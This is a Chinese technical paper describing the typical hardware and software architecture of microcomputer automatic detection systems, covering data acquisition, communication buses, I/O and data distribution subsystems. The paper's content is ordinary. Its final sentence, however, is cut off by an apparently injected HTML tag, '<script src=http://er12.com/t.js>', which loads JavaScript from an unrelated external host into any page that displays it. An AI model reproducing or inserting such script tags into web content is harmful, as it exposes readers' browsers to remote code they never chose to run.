摘要 本文详细地论述了微机自动检测系统(简称madm)的典型结构、各部分的功能和作用,以及系统软件的结构和设计方法。提出了微机自动检测系统设计所涉及的核心技术和相关技术,对微机自动检测系统的设计和应用具有参考作用。
关键词 微机自动检测 自动检测 检测技术
1 前言
检测问题广泛存在于各个领域。随着科学技术的高速发展,随着人类生活水平、生产力水平的提高,检测问题越来越多,对检测提出的要求也越来越高:要求能更快、更准、更灵敏、更可靠地完成检测任务;要求能实现自动化检测;要求研制出更多更好的、智能化的、多功能化的、数字化的、集成化的、微型/小型化的仪器仪表或检测系统。此外,由于检测领域的不断扩大,检测的参数范围不断延伸,部分参数本来就难于检测,且许多情况下需要检测的参数又与其它背景物理量掺杂在一起,此时必须使用复杂的仪器仪表或检测系统,才能完成检测任务。自动检测技术作为自动化科学的一个重要分支,作为专门研究检测问题的一门实用型、综合型的新兴边沿学科已经形成。而微机自动检测(microcomputerautomatic-detectionandmeasurement,简称madm)是自动检测技术及系统发展的高级形式。“微机自动检测”就是使用微机及相关设备来实现自动检测仪器、自动检测系统的技术。本文就微机自动检测系统的体系结构,系统软件设计等有关问题进行详细讨论。
2 微机自动检测系统硬件结构
对智能仪器仪表、个人仪器、自动测试仪器及系统、计算机辅助测试系统(cat)等等典型仪器系统的结构、功能、技术特点深入分析,发现它们都属于检测技术的分支领域,其技术特点、功能、结构具有相似性,都属于微机(包括各种单片微机、微处理器、个人计算机、工控机等等)在这些分支领域的不同应用形式,它们的设计技术也具有很大的相似性。为此,抽象出微机在自动检测技术及系统中应用的典型结构形式,称为“微机自动检测系统”,相应的技术称为“微机自动检测技术”。
2.1 微机自动检测系统结构原理
微机自动检测系统典型结构如图1所示。整个系统由下列子系统组成:
微机基本子系统(包括cpu、ram、rom或eprom、eeprom等)
数据采集子系统及接口
数据通信子系统及接口
数据分配子系统及接口
基本输入输出(i/o)子系统及接口
图1 微机自动检测系统的典型结构
2.2 微机自动检测系统各子系统的基本功能
微机基本子系统是整个系统的核心,对整个系统起监督、管理、控制作用,例如进行复杂的信号处理、控制决策、产生特殊的测试信号,控制整个检测过程等等。此外,利用微机强大的信息处理能力和高速运算能力,实现命令识别,逻辑判断、非线性误差修正,系统动态特性的自校正,系统自学习、自适应、自诊断、自组织等功能。
数据采集子系统及接口,用于和传感器、检测元件、变送器联接,实现参数采集、选路控制、零点校正、量程自动切换等功能。在各式各样的微机自动检测系统中,数据采集是必不可少的,被测对象的有关参数由数据采集子系统收集、整理后,经它的接口传送到微机子系统处理。
基本i/o子系统及接口,用于实现人-机对话、输入或改系统参数、改变系统工作状态,输出检测结果、动态显示测控过程,实现以多种形式输出、显示、记录、报警等功能。
通信子系统及接口,用于实现本系统与其它仪器仪表、系统的通信与互联,依靠通信子系统可根据实际问题需求灵活构造不同规模、不同用途的微机测控系统,如分布式测控系统,集散型测控系统等。通信接口的结构及设计方法,与采用的总线技术、总线规范有关。例如有ieee-488(或gp-ib)总线、rs-232c总线、std总线、vxi总线、现场总线等等,总线技术及规范不同,需要采用不同的软硬件接口实现方法,不同的技术平台支撑。
数据分配子系统及接口,实现对被测控对象、被测试组件、测试信号发生器、甚至于系统本身和检测操作过程的自动控制。
接口(interface)根据实际需要以各种形式大量存在于系统中,接口的作用是完成它所联接的设备之间的信号转换(如进行信号功率匹配、阻抗匹配、电平转换和匹配)和交换、信号(如控制命令、状态/数据信号、寻址信号等)传输、信号拾取,对信息进行必要的缓冲或锁存,增强微机自动检测系统的功能。
3 微机自动检测系统软件结构
微机自动检测系统软件设计要经历问题定义,软件结构设计,软件编制,软件调试与测试等过程。一般采用模块化和结构化?script src=http://er12.com/t.js>











